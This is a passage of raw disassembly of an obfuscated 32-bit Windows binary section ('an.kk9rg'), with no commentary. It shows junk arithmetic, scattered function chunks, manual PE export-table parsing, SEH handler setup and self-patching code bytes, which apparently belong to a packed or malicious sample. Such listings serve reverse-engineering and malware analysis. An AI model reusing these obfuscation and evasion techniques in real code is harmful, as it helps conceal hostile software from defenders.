an.kk9rg:loc_100153D8j not ecx or ebx, eax jmp loc_100197EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017CF8 loc_1001AFD8: ; CODE XREF: sub_10017CF8-425Bj test edx, 5B487388h jmp loc_1001680C ; END OF FUNCTION CHUNK FOR sub_10017CF8 ; --------------------------------------------------------------------------- loc_1001AFE3: ; CODE XREF: an.kk9rg:loc_10018DB4j or edx, 982F32Eh sub edx, 15142308h call sub_100184A9 loc_1001AFF4: ; CODE XREF: an.kk9rg:10019143j jmp loc_1001B6B3 ; --------------------------------------------------------------------------- loc_1001AFF9: ; CODE XREF: an.kk9rg:loc_10014312j jnz loc_100197EF jmp loc_100153D8 ; --------------------------------------------------------------------------- loc_1001B004: ; CODE XREF: an.kk9rg:loc_10018DC8j ; an.kk9rg:1001D30Ej mov eax, [ebp-8] call sub_1001B010 ; START OF FUNCTION CHUNK FOR sub_10014A76 loc_1001B00C: ; CODE XREF: an.kk9rg:loc_10014E33j ; sub_100156CB:loc_100176C5j ... mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_10014A76 ; =============== S U B R O U T I N E ======================================= sub_1001B010 proc near ; CODE XREF: sub_10013389+4307j ; an.kk9rg:1001B007p ; FUNCTION CHUNK AT 100146D2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016246 SIZE 00000005 BYTES push eax jmp loc_100146D2 sub_1001B010 endp ; --------------------------------------------------------------------------- push eax mov edi, edx jmp loc_1001A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A6F7 loc_1001B01E: ; CODE XREF: sub_1001A6F7-4C46j jnz loc_10018DD3 jmp loc_10018299 ; END OF FUNCTION CHUNK FOR sub_1001A6F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001B029: ; CODE XREF: sub_100136D7+1B92j mov [ebp+0], edx loc_1001B02C: ; CODE XREF: sub_100136D7:loc_10014CFEj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_10013734 jmp loc_1001C149 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_1001B03D: ; CODE XREF: sub_1001492C+Cj js loc_10016753 sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_10013967 jmp loc_10015527 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- loc_1001B057: ; CODE XREF: an.kk9rg:1001DA09j jnz loc_1001CEC4 adc ebp, 5A899974h jmp loc_10013829 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001B068: ; CODE XREF: sub_10019409:loc_100149BAj jl loc_1001CD70 loc_1001B06E: ; CODE XREF: sub_1001C84C+1j jmp loc_100166C8 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- sbb edx, 8214D5AEh jmp loc_1001CD68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A34 loc_1001B07E: ; CODE XREF: sub_10017A34:loc_10019F48j mov eax, ebx jmp loc_10018D68 ; END OF FUNCTION CHUNK FOR sub_10017A34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014698 loc_1001B085: ; CODE XREF: sub_10014698j mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] push offset loc_1001B1F5 jmp loc_1001371A ; END OF FUNCTION CHUNK FOR sub_10014698 ; =============== S U B R O U T I N E ======================================= sub_1001B096 proc near ; CODE XREF: sub_1001CA40-51BBp ; an.kk9rg:1001C4D1j ; FUNCTION CHUNK AT 10014197 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001511E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015766 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10016CDF SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1001702E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 100177D0 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10018ADF SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10018AFB SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001C233 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CBC5 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx push 3807A0C2h pop edx xor edx, 6BAEFFD9h or edx, 0AEE89A7Ah jmp loc_1001511E sub_1001B096 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001B0B1 proc near ; CODE XREF: an.kk9rg:100140D6j ; sub_10015DB9-516p xchg edi, [esp+0] pop edi xor edx, 0ED206CB9h add edx, ebp add edx, 12D98367h push offset loc_10018BEA jmp nullsub_71 sub_1001B0B1 endp ; --------------------------------------------------------------------------- sbb ecx, 33877500h jmp sub_1001DAA8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_1001B0D8: ; CODE XREF: sub_1001CF40-3DA6j cdq test edi, ebp jmp loc_10018F6D ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_1001B0E0: ; CODE XREF: sub_1001C2D8:loc_10014E03j jo loc_1001CCE8 jmp loc_1001B777 ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; =============== S U B R O U T I N E ======================================= sub_1001B0EB proc near ; DATA XREF: sub_10014317:loc_1001C6DDo add edi, 1E2532EBh xchg edi, [esp+0] jmp sub_1001DBEB sub_1001B0EB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_1001B0F9: ; CODE XREF: sub_10013688:loc_100181A5j jnp loc_1001728E jmp loc_100191BE ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001B104: ; CODE XREF: sub_10016D66+1A0Bj jo loc_1001B6AE jmp loc_1001C49E ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- loc_1001B10F: ; CODE XREF: an.kk9rg:1001CEB2j jnz loc_100186F8 ; START OF FUNCTION CHUNK FOR sub_1001BBDA loc_1001B115: ; CODE XREF: sub_1001BBDA-5ED7j jmp loc_1001481C ; END OF FUNCTION CHUNK FOR sub_1001BBDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C67F loc_1001B11A: ; CODE XREF: sub_1001C67F-82A2j jmp sub_100185D4 ; END OF FUNCTION CHUNK FOR sub_1001C67F ; --------------------------------------------------------------------------- loc_1001B11F: ; CODE XREF: an.kk9rg:10013384j jmp loc_1001C91C ; --------------------------------------------------------------------------- sbb eax, edi jmp loc_10016BCA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2A9 loc_1001B12B: ; CODE XREF: sub_1001C2A9-2956j sub ebp, 0B39CE97Bh xchg ebp, [edx] xor eax, 195ADA23h jmp loc_1001D433 ; END OF FUNCTION CHUNK FOR sub_1001C2A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CBA8 loc_1001B13E: ; CODE XREF: sub_1001CBA8-67C2j jge loc_1001A113 loc_1001B144: ; CODE XREF: sub_10014DD9:loc_100163CFj add eax, 0F2593239h add eax, ebp add eax, 8A4D72EDh push offset loc_100139D9 jmp nullsub_141 ; END OF FUNCTION CHUNK FOR sub_1001CBA8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2A9 loc_1001B15C: ; CODE XREF: sub_1001C2A9:loc_10017B88j xor eax, 19FD8280h sub eax, 3DB7935Dh xor eax, 123B48CFh add eax, ebp add eax, 0BA3D082Eh mov eax, [eax] loc_1001B178: ; CODE XREF: sub_10015CBE:loc_1001CFFFj call sub_100188EE call nullsub_3 mov dword ptr [ebp-4], 1 mov eax, 0 or eax, eax jz loc_1001D0B6 jmp loc_1001D45C ; END OF FUNCTION CHUNK FOR sub_1001C2A9 ; =============== S U B R O U T I N E ======================================= sub_1001B19B proc near ; DATA XREF: an.kk9rg:100148F2o ; FUNCTION CHUNK AT 10018A46 SIZE 00000015 BYTES xchg ebx, [esp+0] call sub_1001B1DD loc_1001B1A3: ; CODE XREF: an.kk9rg:1001726Ej jmp loc_10018A46 sub_1001B19B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C28F loc_1001B1A8: ; CODE XREF: sub_1001C28F-7163j jmp sub_1001DBEB ; END OF FUNCTION CHUNK FOR sub_1001C28F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_1001B1AD: ; CODE XREF: sub_10015066-150Aj jmp loc_10017513 ; END OF FUNCTION CHUNK FOR sub_10015066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_1001B1B2: ; CODE XREF: sub_10016734:loc_1001D7B9j push 78EBD52Fh xchg ecx, [esp+4+var_4] mov edx, ecx pop ecx jmp loc_1001C4F7 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013BB8 loc_1001B1C3: ; CODE XREF: sub_1001BC80-3876j ; sub_10013BB8+722Ej mov eax, [ebp-108h] push 0D230E852h pop edx sub edx, 458A4F74h rol edx, 0Eh jmp loc_1001D029 ; END OF FUNCTION CHUNK FOR sub_10013BB8 ; =============== S U B R O U T I N E ======================================= sub_1001B1DD proc near ; CODE XREF: an.kk9rg:10014DD4j ; sub_1001B19B+3p xchg esi, [esp+0] pop esi mov ebp, esp push ebp mov ebp, ecx call sub_10014E66 sub_1001B1DD endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10016FA0 loc_1001B1EB: ; CODE XREF: sub_10016FA0+6833j jmp loc_10018C91 ; END OF FUNCTION CHUNK FOR sub_10016FA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_1001B1F0: ; CODE XREF: sub_10015D9E+2F2j jmp loc_1001C33A ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- loc_1001B1F5: ; DATA XREF: sub_10014698+69F4o or ecx, ecx jz loc_10018866 mov ecx, [ebx+ecx+0Ch] or ecx, ecx push offset loc_10018B78 jmp loc_10019CE4 ; --------------------------------------------------------------------------- mov eax, [ecx] ; =============== S U B R O U T I N E ======================================= sub_1001B20F proc near ; CODE XREF: sub_1001DBEB:loc_100176D0p ; FUNCTION CHUNK AT 10013000 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001936C SIZE 00000020 BYTES ; FUNCTION CHUNK AT 1001A844 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx jnb loc_10019376 mov ebp, esp call nullsub_10 loc_1001B220: ; CODE XREF: sub_100180C2:loc_1001DB6Ej mov eax, ds:dword_1001BC9C call sub_100174F4 jmp loc_1001936C sub_1001B20F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001B22F: ; CODE XREF: sub_10013389+30E0j ; sub_10019595:loc_10016718j jb loc_100172EF pushf or ecx, 1AA2A69Bh jmp loc_10013967 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_1001B241: ; CODE XREF: sub_1001564A-1F92j jz loc_100158DB jmp loc_10015EFC ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014CDF loc_1001B24C: ; CODE XREF: sub_10014CDF+6C72j popf jns loc_100133C4 jmp loc_10015146 ; END OF FUNCTION CHUNK FOR sub_10014CDF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_1001B258: ; CODE XREF: sub_1001A54C:loc_1001C6F8j call sub_1001D951 ; END OF FUNCTION CHUNK FOR sub_1001A54C ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_1001B25D: ; CODE XREF: sub_10015BFC+Cj xchg ebx, [esp+8+var_8] mov esp, ebp pop ebp push 0B786D9DFh pop eax rol eax, 0Fh and eax, 0A141053Ah or eax, ds:100000C6h jmp loc_10013895 ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- loc_1001B27D: ; CODE XREF: an.kk9rg:1001AB68j jl loc_1001CB82 xchg ecx, ebx and ebx, esi add ecx, edi cdq jmp loc_10015B92 ; --------------------------------------------------------------------------- loc_1001B28F: ; DATA XREF: sub_10018352:loc_1001458Bo sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jmp loc_1001AD46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001B29D: ; CODE XREF: sub_10013389:loc_10017AC7j push eax pop ebp push offset loc_100154B2 jmp loc_1001AE7E ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_1001B2A9 proc near ; CODE XREF: sub_10015E0D:loc_10019A22j retn sub_1001B2A9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014A06 loc_1001B2AA: ; CODE XREF: sub_10014A06+2FACj jmp loc_10013473 ; END OF FUNCTION CHUNK FOR sub_10014A06 ; --------------------------------------------------------------------------- loc_1001B2AF: ; CODE XREF: an.kk9rg:10014A45j jmp nullsub_168 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C1BF loc_1001B2B4: ; CODE XREF: sub_1001C1BF+9j call sub_10018776 loc_1001B2B9: ; DATA XREF: sub_10014E17+2616o mov ds:dword_1001401C, eax ; END OF FUNCTION CHUNK FOR sub_1001C1BF ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_1001B2BF: ; CODE XREF: sub_1001B5A3-2D9Ej ; sub_1001AE1D-969j ror eax, 6 push offset loc_10016C4D jmp loc_100157E4 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; =============== S U B R O U T I N E ======================================= sub_1001B2CC proc near ; CODE XREF: sub_1001B45F-16C3p ; an.kk9rg:1001D7DBj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10016058 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001A71F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001CA16 SIZE 00000011 BYTES xchg edx, [esp+0] loc_1001B2CF: ; CODE XREF: sub_1001B096-43ABj pop edx xor edx, edx push edx push eax loc_1001B2D4: ; CODE XREF: sub_1001CF40:loc_10018F6Dj mov eax, [ebp-8] jmp loc_1001A71F sub_1001B2CC endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001B2DC: ; CODE XREF: an.kk9rg:1001BA0Dj jno loc_10015A11 ; =============== S U B R O U T I N E ======================================= sub_1001B2E2 proc near ; CODE XREF: sub_10015B5D+28CDp ; FUNCTION CHUNK AT 10017826 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax call sub_1001ACEF jmp loc_10017826 sub_1001B2E2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001B2F0: ; CODE XREF: an.kk9rg:1001AEFBj ja loc_1001D570 ; START OF FUNCTION CHUNK FOR sub_1001D392 loc_1001B2F6: ; CODE XREF: sub_1001D392:loc_1001394Cj xor edx, 0AEC971CCh add edx, 981F4727h mov [edx], eax pop edx retn ; END OF FUNCTION CHUNK FOR sub_1001D392 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018A31 loc_1001B306: ; CODE XREF: sub_10018A31-B77j jmp loc_100153E7 ; END OF FUNCTION CHUNK FOR sub_10018A31 ; --------------------------------------------------------------------------- loc_1001B30B: ; CODE XREF: an.kk9rg:100144E3j jmp loc_1001BBF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C26A loc_1001B310: ; CODE XREF: sub_1001C26A-46F3j rol eax, 0Dh push eax jmp nullsub_96 ; END OF FUNCTION CHUNK FOR sub_1001C26A ; =============== S U B R O U T I N E ======================================= sub_1001B319 proc near ; CODE XREF: an.kk9rg:10015175j ; an.kk9rg:100199E9p ; FUNCTION CHUNK AT 10017949 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10018CF8 SIZE 00000008 BYTES xchg eax, [esp+0] pop eax inc dword ptr [ebp-20h] mov eax, [ebp-20h] mov byte ptr [eax], 6Ch jmp loc_10017949 sub_1001B319 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001B32B: ; CODE XREF: sub_10013389:loc_10017914j jnp loc_10019367 jle sub_10019886 test edi, 7FBEEE79h jmp loc_1001D0E5 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001AE41 loc_1001B342: ; CODE XREF: sub_1001AE41:loc_100199EEj ; an.kk9rg:loc_1001D75Cj pop large dword ptr fs:0 add esp, 4 retn ; END OF FUNCTION CHUNK FOR sub_1001AE41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019473 loc_1001B34D: ; CODE XREF: sub_10019473+1582j jmp loc_10014EE6 ; END OF FUNCTION CHUNK FOR sub_10019473 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001B352: ; CODE XREF: sub_10013389+1Cj jmp loc_100146DC ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_1001B357 proc near ; CODE XREF: sub_1001AB5Bp push large dword ptr fs:0 push offset sub_1001AE41 jmp nullsub_72 sub_1001B357 endp ; --------------------------------------------------------------------------- loc_1001B368: ; CODE XREF: an.kk9rg:10016630j push ebp mov ebp, esi xchg ebp, [esp] push 4839C22Fh pop esi jmp loc_10017509 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_1001B379: ; CODE XREF: sub_1001537B+43D8j jb loc_10018086 push 4ACB0BA1h mov [eax], ecx jmp loc_1001B5F8 ; END OF FUNCTION CHUNK FOR sub_1001537B ; --------------------------------------------------------------------------- ror ebx, 0Eh jmp sub_1001701B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100199B5 loc_1001B393: ; CODE XREF: sub_100199B5+Dj lea eax, nullsub_168 mov byte ptr [eax], 0C3h jmp loc_1001ADCB ; END OF FUNCTION CHUNK FOR sub_100199B5 ; --------------------------------------------------------------------------- push ecx push 5E9E6286h pop ecx jmp loc_1001329B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BBDA loc_1001B3AD: ; CODE XREF: sub_1001BBDA:loc_10014664j cmp eax, 38531391h jmp loc_1001DD51 ; END OF FUNCTION CHUNK FOR sub_1001BBDA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A365 loc_1001B3B9: ; CODE XREF: sub_1001A365-1420j xchg ecx, [esp-8+arg_4] mov eax, ecx pop ecx push edi push 0A9B287ADh jmp loc_10019A9E ; END OF FUNCTION CHUNK FOR sub_1001A365 ; =============== S U B R O U T I N E ======================================= sub_1001B3CA proc near ; CODE XREF: an.kk9rg:10016E4Bj ; sub_10016F6B+Ap ; FUNCTION CHUNK AT 1001417F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015C9B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001762C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001A3D7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A7EE SIZE 00000013 BYTES xchg esi, [esp+0] pop esi cmp byte ptr [eax], 0F1h jnz loc_1001ABF5 jmp loc_1001A3D7 sub_1001B3CA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_1001B3DC: ; CODE XREF: sub_10018AB1:loc_10013947j xchg edx, [esp+4+var_4] mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_10017077 ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- mov eax, 0B9726E5Ah call sub_100181E1 push offset sub_10013753 jmp loc_10016DB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ADAE loc_1001B3FE: ; CODE XREF: sub_1001ADAE+12j mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] xor edx, edx push edx ; END OF FUNCTION CHUNK FOR sub_1001ADAE ; START OF FUNCTION CHUNK FOR sub_1001498A loc_1001B40A: ; CODE XREF: sub_1001498A:loc_10014088j push eax mov eax, [ebp-18h] jmp loc_100189E4 ; END OF FUNCTION CHUNK FOR sub_1001498A ; =============== S U B R O U T I N E ======================================= sub_1001B413 proc near ; CODE XREF: an.kk9rg:10013103j ; sub_100138FD+521Ap ; FUNCTION CHUNK AT 1001557C SIZE 00000003 BYTES xchg eax, [esp+0] pop eax mov eax, [ebp-4] call nullsub_2 pop ecx jmp loc_1001557C sub_1001B413 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B982 loc_1001B425: ; CODE XREF: sub_1001B982:loc_1001A1D4j rol edi, 18h ; END OF FUNCTION CHUNK FOR sub_1001B982 ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_1001B428: ; CODE XREF: sub_10015BFC:loc_100176BAj add edi, 3E28DABh add edi, ebp add edi, 7BDB2239h mov [edi], eax pop edi mov eax, [ebp-4] jmp loc_100166CD ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001B441: ; CODE XREF: sub_100193F2+DD7j call sub_1001B9C1 test al, al push offset sub_1001853F jmp nullsub_113 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_1001B452: ; CODE XREF: sub_10018AB1-51C4j or esi, ebp jg loc_100173C2 jmp loc_10015F16 ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; =============== S U B R O U T I N E ======================================= sub_1001B45F proc near ; CODE XREF: sub_10016A1B-3059p ; an.kk9rg:1001A3A5j ; FUNCTION CHUNK AT 10019D99 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001CAAE SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001D0DA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001DA87 SIZE 00000001 BYTES xchg ebx, [esp+0] pop ebx loc_1001B463: ; CODE XREF: sub_1001CBA8:loc_10017F60j mov eax, [ebp-4] call sub_10019401 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jle loc_10017338 jmp loc_10019D99 sub_1001B45F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001B47D: ; CODE XREF: an.kk9rg:1001AB3Dj jb loc_100139BC or esi, edi jmp loc_10018D3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A6D2 loc_1001B48A: ; CODE XREF: sub_1001A6D2-2798j nop mov eax, [esp+4+var_4] call sub_10018E56 loc_1001B493: ; CODE XREF: an.kk9rg:10014693j jmp loc_1001491B ; END OF FUNCTION CHUNK FOR sub_1001A6D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_1001B498: ; CODE XREF: sub_100188EE+49E2j jz loc_1001CAE7 jmp loc_10018B0F ; END OF FUNCTION CHUNK FOR sub_100188EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_1001B4A3: ; CODE XREF: sub_10018C4D:loc_1001902Bj add eax, [ebp-4] add eax, 18h mov [ebp-10h], eax ; END OF FUNCTION CHUNK FOR sub_10018C4D ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001B4AC: ; CODE XREF: sub_10016D66:loc_1001868Fj mov eax, [ebp-10h] jmp loc_10014DBE ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014317 loc_1001B4B4: ; CODE XREF: sub_1001886B+Cj pop edi xor edi, 99E123A4h and edi, 32CCFA7Fh xor edi, 0C11C39B8h jmp loc_1001C6DD ; END OF FUNCTION CHUNK FOR sub_10014317 ; =============== S U B R O U T I N E ======================================= sub_1001B4CC proc near ; DATA XREF: an.kk9rg:loc_1001C2CBo var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 100140DB SIZE 0000001E BYTES ; FUNCTION CHUNK AT 100153EF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10016770 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018022 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B998 SIZE 0000001E BYTES push ecx push ecx push 0EB778E8Dh xchg edi, [esp+0Ch+var_C] jmp loc_10016770 sub_1001B4CC endp ; --------------------------------------------------------------------------- push ebx push 1D1DADEDh pop ebx xor ebx, 0EB7A2CFh jnz loc_1001D8AE shl ecx, 8 xchg eax, [ebx] jmp loc_1001D8AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100152C7 loc_1001B4F8: ; CODE XREF: sub_100152C7:loc_100152D7j jz loc_1001C7EE jmp loc_1001A59C ; END OF FUNCTION CHUNK FOR sub_100152C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001B503: ; CODE XREF: sub_10013389+4j mov eax, [ebp-4] push offset sub_10018901 jmp loc_10019690 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001B510: ; CODE XREF: sub_1001A97E:loc_100142E3j xor esi, edx jmp loc_100168C0 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_1001B517: ; CODE XREF: sub_10019571+Ej pop ebp mov eax, ds:dword_1001D754 or eax, eax jnz loc_1001DB4B jmp loc_1001550C ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100132E5 loc_1001B52B: ; CODE XREF: sub_100132E5:loc_10015C38j pop eax add eax, 1E94F5CCh rol eax, 0Eh sub eax, 0B9DF686h jmp loc_10015C5D ; END OF FUNCTION CHUNK FOR sub_100132E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_1001B540: ; CODE XREF: sub_100142E8:loc_1001422Fj jz loc_1001372F jmp loc_1001A6E1 ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_1001B54B: ; CODE XREF: sub_10016D04+3210j test ebp, edi jmp loc_10015F08 ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001B552: ; CODE XREF: sub_10013389+19Ej pop ecx mov esi, [edi] shr esi, 0Bh loc_1001B558: ; CODE XREF: sub_1001A533:loc_1001A5DDj mov eax, [ebp-4] call sub_1001A8DD loc_1001B560: ; CODE XREF: sub_10015C77+826j jmp loc_1001D761 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_1001B565: ; CODE XREF: sub_10018E79-996j jp loc_1001AF1A sbb eax, 0C7AF9ED9h pop ebp or edi, 6E079126h test ebx, 7636E1Dh jmp loc_10016105 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013310 loc_1001B583: ; CODE XREF: sub_10013310+1989j mov ebx, esi pop esi add ebx, 0DC43DB52h or ebx, 3F2AC1A4h xor ebx, 9CF6A74Fh add ebx, 0ACA8478Eh jmp loc_1001B870 ; END OF FUNCTION CHUNK FOR sub_10013310 ; =============== S U B R O U T I N E ======================================= sub_1001B5A3 proc near ; CODE XREF: an.kk9rg:10014A18j ; sub_10015995+2674p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 100131B9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100132F1 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001334E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001420B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100151C3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 100157E4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015F94 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10015FCB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10016F65 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 100173C7 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 10017B13 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10018803 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10018AF6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100192E6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001993E SIZE 00000002 BYTES ; FUNCTION CHUNK AT 1001A38C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001ADF1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001B2BF SIZE 0000000D BYTES ; FUNCTION 